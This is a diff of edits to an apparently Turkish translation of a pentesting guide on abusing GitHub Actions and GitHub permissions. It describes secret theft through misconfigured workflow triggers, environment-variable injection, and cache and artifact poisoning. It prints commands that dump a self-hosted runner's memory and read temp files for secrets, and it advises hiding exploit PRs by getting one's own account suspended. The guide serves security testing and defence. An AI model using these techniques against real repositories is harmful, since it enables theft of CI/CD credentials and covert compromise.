-Bu token'ın olası **izinlerini** burada görebilirsiniz: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
+Bu token'ın olası **izinlerini** şurada görebilirsiniz: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
Token'ın **işlem tamamlandıktan sonra süresinin dolduğunu** unutmayın.\
Bu token'lar şu şekilde görünür: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
@@ -81,11 +81,11 @@ https://api.github.com/repos///pulls \
{{#endtabs }}
> [!CAUTION]
-> Dikkat edin ki, birkaç durumda **Github Actions ortamlarında veya gizli bilgilerde github kullanıcı token'ları bulabileceksiniz**. Bu token'lar, size depo ve organizasyon üzerinde daha fazla yetki verebilir.
+> Dikkat edin ki, birkaç durumda **Github Actions ortamlarında veya gizliliklerde github kullanıcı token'larını bulabileceksiniz**. Bu token'lar, size depo ve organizasyon üzerinde daha fazla yetki verebilir.
-Github Action çıktısında gizli bilgileri listele
+Github Action çıktısında gizlilikleri listele
```yaml
name: list_env
on:
@@ -111,7 +111,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
-Gizli anahtarlarla ters kabuk al
+Gizli anahtarlarla ters shell al
```yaml
name: revshell
on:
@@ -141,19 +141,19 @@ Github Token'ına verilen izinleri diğer kullanıcıların depolarında **logla
## İzin Verilen Çalıştırma
> [!NOTE]
-> Bu, Github eylemlerini tehlikeye atmanın en kolay yolu olacaktır, çünkü bu durum **organizasyonda yeni bir depo oluşturma** erişiminiz olduğunu veya **bir depoda yazma yetkisine** sahip olduğunuzu varsayıyor.
+> Bu, Github eylemlerini tehlikeye atmanın en kolay yolu olacaktır, çünkü bu durum **organizasyonda yeni bir depo oluşturma** erişiminiz olduğunu veya **bir depoda yazma yetkisine** sahip olduğunuzu varsayar.
>
> Bu senaryoda iseniz, [Post Exploitation techniques](./#post-exploitation-techniques-from-inside-an-action) bölümüne göz atabilirsiniz.
-### Depo Oluşturarak Çalıştırma
+### Depo Oluşturmadan Çalıştırma
Eğer bir organizasyonun üyeleri **yeni depolar oluşturabiliyorsa** ve github eylemlerini çalıştırabiliyorsanız, **yeni bir depo oluşturup organizasyon seviyesinde ayarlanan gizli bilgileri çalabilirsiniz**.
### Yeni Bir Dal Üzerinden Çalıştırma
-Eğer **zaten bir Github Action** yapılandırılmış bir depoda **yeni bir dal oluşturabiliyorsanız**, onu **değiştirebilir**, içeriği **yükleyebilir** ve ardından **o eylemi yeni dal üzerinden çalıştırabilirsiniz**. Bu şekilde **depo ve organizasyon seviyesindeki gizli bilgileri dışarı sızdırabilirsiniz** (ancak bunların nasıl adlandırıldığını bilmeniz gerekir).
+Eğer **zaten bir Github Action** yapılandırılmış bir depoda **yeni bir dal oluşturabiliyorsanız**, onu **değiştirebilir**, içeriği **yükleyebilir** ve ardından **o eylemi yeni dal üzerinden çalıştırabilirsiniz**. Bu şekilde **depo ve organizasyon seviyesindeki gizli bilgileri dışarıya çıkarabilirsiniz** (ancak bunların nasıl adlandırıldığını bilmeniz gerekir).
-Değiştirilen eylemi **manuel olarak**, bir **PR oluşturulduğunda** veya **bazı kodlar yüklendiğinde** çalıştırılabilir hale getirebilirsiniz (ne kadar dikkat çekmek istediğinize bağlı olarak):
+Değiştirilmiş eylemi **manuel olarak**, bir **PR oluşturulduğunda** veya **bazı kodlar yüklendiğinde** çalıştırılabilir hale getirebilirsiniz (ne kadar dikkat çekmek istediğinize bağlı olarak):
```yaml
on:
workflow_dispatch: # Launch manually
@@ -174,18 +174,18 @@ branches:
### `pull_request`
-Çalışma akışı tetikleyicisi **`pull_request`**, bir pull request alındığında her seferinde çalışma akışını çalıştırır, bazı istisnalarla: varsayılan olarak, eğer bu **ilk kez** **işbirliği yapıyorsanız**, bazı **bakıcıların** çalışma akışının **çalıştırılmasını** **onaylaması** gerekecektir:
+**`pull_request`** iş akışı tetikleyicisi, bazı istisnalarla birlikte her seferinde bir pull request alındığında iş akışını çalıştırır: varsayılan olarak, eğer bu **ilk kez** **iş birliği yapıyorsanız**, bazı **bakıcıların** iş akışının **çalıştırılmasını** **onaylaması** gerekecektir:
> [!NOTE]
-> **Varsayılan kısıtlama** **ilk kez** katkıda bulunanlar içindir, geçerli bir **hata/yazım hatasını düzeltmek** için katkıda bulunabilir ve ardından **yeni `pull_request` ayrıcalıklarınızı kötüye kullanmak için başka PR'lar gönderebilirsiniz**.
+> **Varsayılan kısıtlama** **ilk kez** katkıda bulunanlar içindir, geçerli bir hata/yazım hatasını **düzeltmek** için katkıda bulunabilir ve ardından **yeni `pull_request` ayrıcalıklarınızı kötüye kullanmak için başka PR'lar gönderebilirsiniz**.
>
> **Bunu test ettim ve çalışmıyor**: ~~Başka bir seçenek, projeye katkıda bulunan birinin adını taşıyan bir hesap oluşturmak ve hesabını silmek olurdu.~~
Ayrıca, varsayılan olarak **yazma izinlerini** ve **gizli verilere erişimi** hedef depoya engeller, [**belgelere**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories) göre:
-> `GITHUB_TOKEN` hariç, **gizli veriler bir çalışma akışı bir **forked** depodan tetiklendiğinde** çalıştırıcıya **geçmez**. **`GITHUB_TOKEN`'ın pull request'lerde **okuma-yazma izinleri** yoktur **forked depolardan**.
+> `GITHUB_TOKEN` hariç, bir iş akışı **forked** bir depodan tetiklendiğinde **gizli veriler koşucuya geçmez**. **`GITHUB_TOKEN`'ın pull request'lerde **forked** depolardan yalnızca okuma izinleri vardır**.
Bir saldırgan, Github Action'ın tanımını değiştirerek keyfi şeyler çalıştırabilir ve keyfi eylemler ekleyebilir. Ancak, belirtilen kısıtlamalar nedeniyle gizli verileri çalamaz veya depoyu üzerine yazamaz.
@@ -196,20 +196,20 @@ Saldırgan ayrıca çalıştırılan kodu kontrol ettiğinden, `GITHUB_TOKEN` ü
### **`pull_request_target`**
-Çalışma akışı tetikleyicisi **`pull_request_target`**, hedef depoya **yazma iznine** ve **gizli verilere erişime** sahiptir (ve izin istemez).
+**`pull_request_target`** iş akışı tetikleyicisi, hedef depoya **yazma iznine** ve **gizli verilere erişime** sahiptir (ve izin istemez).
-Çalışma akışı tetikleyicisi **`pull_request_target`** **temel bağlamda** çalışır ve PR tarafından verilen bağlamda değil (güvenilmeyen kodu **çalıştırmamak için**). `pull_request_target` hakkında daha fazla bilgi için [**belgelere**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target) bakın.\
+**`pull_request_target`** iş akışı tetikleyicisinin **PR tarafından verilen** bağlamda değil, **temel bağlamda** çalıştığını unutmayın (güvenilmeyen kodu **çalıştırmamak için**). `pull_request_target` hakkında daha fazla bilgi için [**belgelere**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target) bakın.\
Ayrıca, bu özel tehlikeli kullanım hakkında daha fazla bilgi için bu [**github blog yazısını**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/) kontrol edin.
-**Çalıştırılan çalışma akışının** **temelde** tanımlandığı ve **PR'de** değil olduğu için **`pull_request_target`** kullanmanın **güvenli** olduğu görünebilir, ancak bunun **güvenli olmadığı birkaç durum vardır**.
+**`pull_request_target`** kullanmanın **güvenli** olduğunu düşündürebilir çünkü **çalıştırılan iş akışı** **temelde** tanımlanmıştır ve **PR'de** değil, ancak bunun **güvenli olmadığı birkaç durum vardır**.
Ve bu, **gizli verilere erişim** sağlayacaktır.
### `workflow_run`
-[**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) tetikleyicisi, bir çalışma akışının `tamamlandığında`, `istek yapıldığında` veya `devam ediyor` olduğunda başka bir çalışma akışını çalıştırmasına izin verir.
+[**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) tetikleyicisi, bir iş akışı `tamamlandığında`, `istek yapıldığında` veya `devam ediyor` olduğunda başka bir iş akışını çalıştırmaya olanak tanır.
-Bu örnekte, bir çalışma akışı, ayrı "Testleri Çalıştır" çalışma akışı tamamlandıktan sonra çalışacak şekilde yapılandırılmıştır:
+Bu örnekte, bir iş akışı, ayrı "Testleri Çalıştır" iş akışı tamamlandıktan sonra çalışacak şekilde yapılandırılmıştır:
```yaml
on:
workflow_run:
@@ -220,23 +220,23 @@ types:
Ayrıca, belgelerde belirtildiği gibi: `workflow_run` olayıyla başlatılan iş akışı, **önceki iş akışı** çalıştırılmamış olsa bile **gizli bilgilere erişebilir ve token yazabilir**.
Bu tür bir iş akışı, **`pull_request`** veya **`pull_request_target`** aracılığıyla bir dış kullanıcı tarafından **tetiklenebilen** bir **iş akışına** **bağlıysa** saldırıya uğrayabilir. Birkaç savunmasız örnek [**bu blogda**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**bulunabilir.** İlk örnek, **`workflow_run`** tetiklenen iş akışının saldırganın kodunu indirmesidir: `${{ github.event.pull_request.head.sha }}`\
-İkinci örnek, **güvenilmeyen** koddan **`workflow_run`** iş akışına bir **artifact** **geçirerek** ve bu artifact'ın içeriğini **RCE'ye karşı savunmasız hale getirecek** bir şekilde kullanmaktır.
+İkinci örnek, **güvensiz** koddan **`workflow_run`** iş akışına bir **artifact** **geçirerek** ve bu artifact'ın içeriğini **RCE'ye karşı savunmasız hale getirecek** bir şekilde kullanmaktır.
### `workflow_call`
TODO
-TODO: `pull_request`'tan çalıştırıldığında kullanılan/indirilen kodun orijinalden mi yoksa forked PR'dan mı olduğunu kontrol et
+TODO: `pull_request`'dan çalıştırıldığında kullanılan/indirilen kodun orijinalden mi yoksa forked PR'dan mı olduğunu kontrol et
-## Forked İcra Kullanımı
+## Forked Execution'ı Kötüye Kullanma
Bir dış saldırganın bir github iş akışını çalıştırmasını sağlamak için tüm yolları belirttik, şimdi bu çalıştırmaların, kötü yapılandırıldığında, nasıl kötüye kullanılabileceğine bakalım:
-### Güvenilmeyen checkout çalıştırması
+### Güvensiz checkout çalıştırması
-**`pull_request`** durumunda, iş akışı **PR'nin bağlamında** çalıştırılacak (yani **kötü niyetli PR kodunu** çalıştıracak), ancak birinin **önce yetkilendirmesi** gerekiyor ve bazı [kısıtlamalarla](./#pull_request) çalışacak.
+**`pull_request`** durumunda, iş akışı **PR'nin bağlamında** çalıştırılacak (yani **kötü niyetli PR kodunu** çalıştıracak), ancak birinin **önce bunu yetkilendirmesi** gerekiyor ve bazı [kısıtlamalarla](./#pull_request) çalışacak.
-**`pull_request_target` veya `workflow_run`** kullanan bir iş akışında, **`pull_request_target` veya `pull_request`** üzerinden tetiklenebilen bir iş akışına bağlıysa, orijinal repo kodu çalıştırılacak, bu nedenle **saldırgan çalıştırılan kodu kontrol edemez**.
+**`pull_request_target` veya `workflow_run`** kullanan bir iş akışında, **`pull_request_target` veya `pull_request`** aracılığıyla tetiklenebilen bir iş akışına bağlıysa, orijinal repo kodu çalıştırılacak, bu nedenle **saldırgan çalıştırılan kodu kontrol edemez**.
> [!CAUTION]
> Ancak, eğer **action**'da **açık bir PR checkout** varsa ve bu **PR'dan kod alıyorsa** (veya temelden değilse), saldırganın kontrolündeki kodu kullanacaktır. Örneğin (PR kodunun indirildiği 12. satıra bakın):
@@ -269,24 +269,24 @@ message: |
Thank you!
-Potansiyel olarak **güvenilmeyen kod `npm install` veya `npm build` sırasında çalıştırılmaktadır** çünkü derleme betikleri ve referans verilen **paketler PR yazarının kontrolündedir**.
+Potansiyel olarak **güvensiz kod, `npm install` veya `npm build` sırasında çalıştırılmaktadır** çünkü derleme betikleri ve referans verilen **paketler PR yazarının kontrolündedir**.
> [!WARNING]
> Savunmasız eylemleri aramak için bir github dork'u: `event.pull_request pull_request_target extension:yml` ancak, eylem güvensiz yapılandırılmış olsa bile, işlerin güvenli bir şekilde çalıştırılması için farklı yollar vardır (örneğin, PR'yi oluşturan aktör hakkında koşullu ifadeler kullanmak gibi).
-### Bağlam Betiği Enjeksiyonları
+### Bağlam Script Enjeksiyonları
-Belirli [**github bağlamları**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) olduğunu unutmayın, bu bağlamların değerleri **PR'yi oluşturan kullanıcı** tarafından **kontrol edilmektedir**. Eğer github action bu **verileri herhangi bir şeyi çalıştırmak için kullanıyorsa**, bu **keyfi kod çalıştırmaya** yol açabilir:
+Belirli [**github bağlamları**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) vardır ki bunların değerleri **PR'yi oluşturan kullanıcı** tarafından **kontrol edilmektedir**. Eğer github action bu **verileri herhangi bir şeyi çalıştırmak için kullanıyorsa**, bu **rastgele kod çalıştırmaya** yol açabilir:
{{#ref}}
gh-actions-context-script-injections.md
{{#endref}}
-### **GITHUB_ENV Betik Enjeksiyonu**
+### **GITHUB_ENV Script Enjeksiyonu**
-Belgelerden: Bir iş akışı işinde herhangi bir sonraki adımda **bir ortam değişkenini kullanılabilir hale getirmek** için ortam değişkenini tanımlayarak veya güncelleyerek ve bunu **`GITHUB_ENV`** ortam dosyasına yazarak yapabilirsiniz.
+Belgelerden: Bir iş akışı işinde herhangi bir sonraki adımda kullanılabilir bir **çevre değişkeni** oluşturmak veya güncellemek için bu değişkeni tanımlayarak ve **`GITHUB_ENV`** çevre dosyasına yazarak yapabilirsiniz.
-Eğer bir saldırgan bu **env** değişkeninin içine **herhangi bir değeri enjekte edebilirse**, sonraki adımlarda **LD_PRELOAD** veya **NODE_OPTIONS** gibi kod çalıştırabilecek env değişkenlerini enjekte edebilir.
+Eğer bir saldırgan bu **env** değişkeninin içine **herhangi bir değeri** **enjekte edebilirse**, **LD_PRELOAD** veya **NODE_OPTIONS** gibi sonraki adımlarda kod çalıştırabilecek env değişkenlerini enjekte edebilir.
Örneğin ([**bu**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) ve [**bu**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), **`GITHUB_ENV`** env değişkeninin içeriğini depolamak için yüklenen bir artifact'a güvenen bir iş akışını hayal edin. Bir saldırgan bunu tehlikeye atmak için şöyle bir şey yükleyebilir:
@@ -323,7 +323,7 @@ with:
name: artifact
path: ./script.py
```
-Bu iş akışı ile saldırıya uğrayabilir:
+Bu iş akışıyla saldırıya uğrayabilir:
```yaml
name: "some workflow"
on: pull_request
@@ -344,7 +344,7 @@ path: ./script.py
### Silinmiş Namespace Repo Ele Geçirme
-Eğer bir hesap adını değiştirirse, başka bir kullanıcı bir süre sonra o isimle bir hesap kaydedebilir. Eğer bir depo **isim değişikliğinden önce 100 yıldızdan azsa**, Github, aynı isimle yeni kayıtlı kullanıcının **silinmiş olanla aynı isimde bir depo oluşturmasına** izin verecektir.
+Eğer bir hesap adını değiştirirse, başka bir kullanıcı bir süre sonra o adla bir hesap kaydedebilir. Eğer bir depo **isim değişikliğinden önce 100'den az yıldıza sahipse**, Github, aynı isimle yeni kayıtlı kullanıcının **silinmiş olanla aynı isimde bir depo oluşturmasına** izin verecektir.
> [!DİKKAT]
> Yani eğer bir işlem, var olmayan bir hesaptan bir depoyu kullanıyorsa, bir saldırganın o hesabı oluşturup işlemi tehlikeye atması hala mümkün olabilir.
@@ -360,7 +360,7 @@ Eğer diğer depolar **bu kullanıcı depolarından bağımlılıklar kullanıyo
### Önbellek Zehirleme
-Bir önbellek, **aynı dalda workflow çalışmaları arasında** korunur. Bu, bir saldırganın **bir paketi tehlikeye atması** durumunda, bu paketin önbellekte saklanacağı ve **daha ayrıcalıklı** bir workflow tarafından **indirilip** çalıştırılacağı anlamına gelir; böylece o workflow'u da **tehlikeye atabilir**.
+Bir önbellek, **aynı dalda workflow çalışmaları arasında** korunur. Bu, bir saldırganın **bir paketi tehlikeye atması** durumunda, bu paketin önbellekte saklanıp **daha ayrıcalıklı** bir workflow tarafından **indirilip** çalıştırılması halinde, o workflow'u da **tehlikeye atabileceği** anlamına gelir.
{{#ref}}
gh-actions-cache-poisoning.md
@@ -368,7 +368,7 @@ gh-actions-cache-poisoning.md
### Artifact Zehirleme
-Workflow'lar, **diğer workflow'lardan ve hatta depolardan** **artifact'lar** kullanabilir; eğer bir saldırgan, başka bir workflow tarafından daha sonra kullanılan bir **artifact'ı yükleyen** Github Action'ı **tehlikeye atmayı** başarırsa, o zaman **diğer workflow'ları da tehlikeye atabilir**:
+Workflow'lar, **diğer workflow'lardan ve hatta depolardan artifact'ler** kullanabilir. Eğer bir saldırgan, başka bir workflow tarafından daha sonra kullanılan bir **artifact'ı yükleyen** Github Action'ı **tehlikeye atmayı** başarırsa, o zaman **diğer workflow'ları da tehlikeye atabilir**:
{{#ref}}
gh-actions-artifact-poisoning.md
@@ -380,7 +380,7 @@ gh-actions-artifact-poisoning.md
### OIDC Üzerinden AWS ve GCP'ye Erişim
-Aşağıdaki sayfaları kontrol edin:
+Aşağıdaki sayfalara göz atın:
{{#ref}}
../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
@@ -425,7 +425,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
-Gizli anahtarlarla ters kabuk al
+Gizli anahtarlarla ters shell al
```yaml
name: revshell
on:
@@ -448,15 +448,15 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
-- Eğer gizli bilgi **bir ifadede doğrudan kullanılıyorsa**, oluşturulan shell scripti **diskte** saklanır ve erişilebilir.
+- Eğer gizli anahtar **bir ifadede doğrudan kullanılıyorsa**, oluşturulan shell scripti **diskte** saklanır ve erişilebilir.
- ```bash
cat /home/runner/work/_temp/*
```
-- JavaScript eylemleri için gizli bilgiler ortam değişkenleri aracılığıyla gönderilir.
+- JavaScript eylemleri için gizli anahtarlar ortam değişkenleri aracılığıyla gönderilir.
- ```bash
ps axe | grep node
```
-- **Özel bir eylem** için, risk, programın **argümandan** elde ettiği gizli bilgiyi nasıl kullandığına bağlı olarak değişebilir:
+- **Özel bir eylem** için, risk, programın **argümandan** elde ettiği gizli anahtarı nasıl kullandığına bağlı olarak değişebilir:
```yaml
uses: fakeaction/publish@v3
@@ -468,23 +468,23 @@ key: ${{ secrets.PUBLISH_KEY }}
**Github Actions'ın hangi non-github altyapısında çalıştırıldığını** bulmanın yolu, Github Action yapılandırma yaml'ında **`runs-on: self-hosted`** aramaktır.
-**Kendinden barındırılan** çalıştırıcılar, **ekstra hassas bilgilere**, diğer **ağ sistemlerine** (ağda savunmasız uç noktalar mı? meta veri servisi?) erişim sağlayabilir veya, izole edilse ve yok edilse bile, **birden fazla eylem aynı anda çalıştırılabilir** ve kötü niyetli olanı diğerinin **gizli bilgilerini çalabilir**.
+**Kendinden barındırılan** çalıştırıcılar, **ekstra hassas bilgilere**, diğer **ağ sistemlerine** (ağda savunmasız uç noktalar mı? meta veri servisi?) erişim sağlayabilir veya, izolasyon sağlansa ve yok edilse bile, **birden fazla eylem aynı anda çalıştırılabilir** ve kötü niyetli olanı diğerinin **gizli anahtarlarını çalabilir**.
-Kendinden barındırılan çalıştırıcılarda, herhangi bir adımda iş akışlarının tüm gizli bilgilerini içerecek olan **\_Runner.Listener**\_\*\* sürecinden gizli bilgileri elde etmek de mümkündür; belleğini dökerek:
+Kendinden barındırılan çalıştırıcılarda, herhangi bir adımda iş akışlarının tüm gizli anahtarlarını içerecek olan **\_Runner.Listener**\_\*\* sürecinden gizli anahtarları elde etmek de mümkündür; belleğini dökerek:
```bash
sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
```
-Check [**bu gönderiye daha fazla bilgi için**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
+Daha fazla bilgi için [**bu gönderiyi kontrol edin**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
### Github Docker Görüntüleri Kaydı
Github içinde **bir Docker görüntüsü oluşturup depolayacak Github eylemleri** yapmak mümkündür.\
-Aşağıdaki genişletilebilir örnekte bir örnek bulabilirsiniz:
+Aşağıdaki genişletilebilir örnekte bulunabilir:
-Github Eylemi Oluştur & Docker Görüntüsünü Yükle
+Github Action Build & Push Docker Image
```yaml
[...]
@@ -517,7 +517,7 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e
Önceki kodda görebileceğiniz gibi, Github kayıt defteri **`ghcr.io`** üzerinde barındırılmaktadır.
-Repo üzerinde okuma izinlerine sahip bir kullanıcı, kişisel erişim belirteci kullanarak Docker Görüntüsünü indirebilecektir:
+Repo üzerinde okuma izinlerine sahip bir kullanıcı, kişisel erişim token'ı kullanarak Docker Görüntüsünü indirebilecektir:
```bash
echo $gh_token | docker login ghcr.io -u --password-stdin
docker pull ghcr.io//:
@@ -530,11 +530,11 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-m
### Github Actions günlüklerinde hassas bilgiler
-**Github** gizli değerleri **tespit etmeye** ve **göstermemeye** çalışsa da, eylemin yürütülmesi sırasında üretilmiş **diğer hassas veriler** gizli kalmayacaktır. Örneğin, bir gizli değerle imzalanmış bir JWT, [özellikle yapılandırılmadıkça](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret) gizli kalmayacaktır.
+**Github** gizli değerleri **tespit etmeye** ve **göstermemeye** çalışsa da, eylemin yürütülmesi sırasında üretilmiş **diğer hassas veriler** gizlenmeyecektir. Örneğin, bir gizli değerle imzalanmış bir JWT gizlenmeyecektir, eğer [özellikle yapılandırılmamışsa](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
## İzlerinizi Kapatma
-([**buradan**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit) teknik) Öncelikle, oluşturulan herhangi bir PR, Github'da ve hedef GitHub hesabında kamuya açık olarak görünür. GitHub'da varsayılan olarak, **internetin PR'sini silemeyiz**, ancak bir twist var. Github tarafından **askıya alınan** GitHub hesapları için, tüm **PR'leri otomatik olarak silinir** ve internetten kaldırılır. Bu nedenle, etkinliğinizi gizlemek için ya **GitHub hesabınızın askıya alınmasını sağlamalı ya da hesabınızın işaretlenmesini** sağlamalısınız. Bu, **tüm etkinliklerinizi** GitHub'dan internetten gizleyecektir (temelde tüm istismar PR'lerinizi kaldırır).
+([**buradan**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit) bir teknik) Öncelikle, oluşturulan herhangi bir PR, Github'da ve hedef GitHub hesabında kamuya açık olarak görünür. GitHub'da varsayılan olarak, **internetin PR'sini silemeyiz**, ancak bir twist var. Github tarafından **askıya alınan** GitHub hesapları için, tüm **PR'lar otomatik olarak silinir** ve internetten kaldırılır. Bu nedenle, etkinliğinizi gizlemek için ya **GitHub hesabınızın askıya alınmasını sağlamalı ya da hesabınızın işaretlenmesini** sağlamalısınız. Bu, **tüm etkinliklerinizi** GitHub'dan internetten gizleyecektir (temelde tüm istismar PR'larınızı kaldırır).
GitHub'daki bir organizasyon, hesapları GitHub'a bildirmede çok proaktiftir. Tek yapmanız gereken, Issue'da "biraz şey" paylaşmak ve 12 saat içinde hesabınızın askıya alınmasını sağlamak :p ve işte, istismarınızı GitHub'da görünmez hale getirdiniz.
diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md
index 59da712ac..91a9c75de 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md
@@ -1 +1 @@
-# Gh Actions - Artifact Poisoning
+# Gh Actions - Artifact Zehirleme
diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md
index f77c0d2d3..9379c656a 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md
@@ -1 +1 @@
-# GH Actions - Cache Poisoning
+# GH Actions - Önbellek Zehirleme
diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
index 9cef507bc..b546b30dd 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
@@ -1 +1 @@
-# Gh Actions - Context Script Injections
+# Gh Actions - Context Script Enjeksiyonları
diff --git a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md
index eaba9970d..0bdcf9d37 100644
--- a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md
+++ b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md
@@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
-Github'dan silinmiş olduğu iddia edilen verilere erişim yolları [**bu blog yazısında**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github) bildirilmiştir.
+Github'da sözde silinmiş verilere erişim yolları [**bu blog yazısında rapor edilmiştir**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
## Silinmiş Fork Verilerine Erişim
@@ -15,8 +15,8 @@ Github'dan silinmiş olduğu iddia edilen verilere erişim yolları [**bu blog y
## Silinmiş Repo Verilerine Erişim
-1. GitHub'da bir kamuya açık repo oluşturun.
-2. Bir kullanıcı repo'nuzu fork'lar.
+1. GitHub'da bir kamuya açık reposu var.
+2. Bir kullanıcı reposunu fork'lar.
3. Onlar fork'ladıktan sonra veri ekleyin (ve asla fork'larını güncellemelerinizle senkronize etmezler).
4. Tüm repoyu silin.
@@ -25,9 +25,9 @@ Github'dan silinmiş olduğu iddia edilen verilere erişim yolları [**bu blog y
## Özel Repo Verilerine Erişim
-1. Nihayetinde kamuya açık hale getirilecek bir özel repo oluşturun.
+1. Nihayetinde kamuya açık hale gelecek bir özel repo oluşturun.
2. O repo'nun özel, iç versiyonunu (fork'lama yoluyla) oluşturun ve kamuya açık yapmayacağınız özellikler için ek kod ekleyin.
-3. "Upstream" repo'nuzu kamuya açık yapın ve fork'unuzu özel tutun.
+3. "Upstream" reposunu kamuya açık yapın ve fork'unuzu özel tutun.
> [!CAUTION]
> İç fork oluşturulduğu ve kamuya açık versiyon yapıldığı süre zarfında iç fork'a itilen tüm verilere erişmek mümkündür.
diff --git a/src/pentesting-ci-cd/github-security/basic-github-information.md b/src/pentesting-ci-cd/github-security/basic-github-information.md
index 69b452972..faddd1e00 100644
--- a/src/pentesting-ci-cd/github-security/basic-github-information.md
+++ b/src/pentesting-ci-cd/github-security/basic-github-information.md
@@ -4,27 +4,27 @@
## Temel Yapı
-Büyük bir **şirketin** temel github ortam yapısı, **birden fazla organizasyona sahip olan bir **şirket** sahibi olmaktır ve her biri **birkaç depo** ve **birkaç takım** içerebilir. Daha küçük şirketler sadece **bir organizasyona ve hiçbir şirkete sahip olabilirler**.
+Büyük bir **şirketin** temel github ortam yapısı, **birden fazla organizasyona sahip olan bir **şirket** sahibi olmaktır ve her biri **birkaç depo** ve **birkaç takım** içerebilir. Daha küçük şirketler sadece **bir organizasyona ve hiçbir şirkete sahip olabilir**.
Bir kullanıcı açısından, bir **kullanıcı** **farklı şirketler ve organizasyonlar** üyesi olabilir. Bu organizasyonlar içinde kullanıcı, **farklı şirket, organizasyon ve depo rollerine** sahip olabilir.
Ayrıca, bir kullanıcı **farklı takımlarda** farklı şirket, organizasyon veya depo rollerine sahip olabilir.
-Ve nihayetinde, **depolar özel koruma mekanizmalarına sahip olabilir**.
+Ve nihayetinde, **depolar özel koruma mekanizmalarına** sahip olabilir.
## Ayrıcalıklar
### Şirket Rolleri
-- **Şirket sahibi**: Bu role sahip kişiler, **yönetici yönetimi, şirket içindeki organizasyonları yönetme, şirket ayarlarını yönetme, organizasyonlar arasında politika uygulama** gibi işlemleri gerçekleştirebilir. Ancak, **organizasyon ayarlarına veya içeriğine erişemezler**; organizasyon sahibi yapılmadıkları veya bir organizasyona ait bir depoya doğrudan erişim verilmediği sürece.
+- **Şirket sahibi**: Bu role sahip kişiler, **yönetici yönetimi, şirket içindeki organizasyonları yönetme, şirket ayarlarını yönetme, organizasyonlar arasında politika uygulama** gibi işlemleri gerçekleştirebilir. Ancak, **organizasyon ayarlarına veya içeriğine erişemezler**; yalnızca bir organizasyon sahibi yapılmışlarsa veya bir organizasyona ait bir depoya doğrudan erişim verilmişse erişebilirler.
- **Şirket üyeleri**: Şirketinizin sahip olduğu organizasyonların üyeleri de **otomatik olarak şirketin üyeleri**dir.
### Organizasyon Rolleri
Bir organizasyonda kullanıcıların farklı rolleri olabilir:
-- **Organizasyon sahipleri**: Organizasyon sahipleri, **organizasyonunuza tam yönetim erişimine** sahiptir. Bu rol sınırlı olmalı, ancak organizasyonunuzda en az iki kişi olmalıdır.
-- **Organizasyon üyeleri**: **Varsayılan**, yönetici olmayan rol **organizasyon** içindeki kişiler için organizasyon üyesidir. Varsayılan olarak, organizasyon üyeleri **bir dizi izne** sahiptir.
